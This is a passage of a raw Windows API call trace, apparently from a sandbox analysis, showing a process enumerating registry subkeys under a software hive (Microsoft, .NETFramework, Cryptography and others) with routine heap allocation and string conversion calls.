Size=0x80) returned 0x119bc40 [0250.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x119b9b8, cchName=0x104 | out: lpName="Classes") returned 0x0 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x119c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x119b9b8, cchName=0x104 | out: lpName="Clients") returned 0x0 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x119b9b8, cchName=0x104 | out: lpName="Intel") returned 0x0 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x119c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x119b9b8, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x119c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x119b9b8, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x119c160, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.957] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0250.957] RegCloseKey (hKey=0xc4) returned 0x0 [0250.957] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x119b9b8, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x119c1a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.957] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.957] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x119b9b8, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0250.957] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x119c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.958] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x119b9b8, cchName=0x104 | out: lpName="ADs") returned 0x0 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.958] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x119b9b8, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x119c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.958] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x119b9b8, cchName=0x104 | out: lpName="ALG") returned 0x0 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0250.958] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.958] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x119b9b8, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x119c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.959] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x119b9b8, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x119c1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.959] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x119b9b8, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x119c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.959] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x119b9b8, cchName=0x104 | out: lpName="COM3") returned 0x0 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x119c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0250.959] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.959] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.960] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x119b9b8, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x119c160, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.960] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x119b9b8, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x119c1a8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.960] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x119b9b8, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x119c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.960] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x119b9b8, cchName=0x104 | out: lpName="CTF") returned 0x0 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0250.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.961] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x119b9b8, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x119c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.961] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x119b9b8, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x119c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0250.961] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.961] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 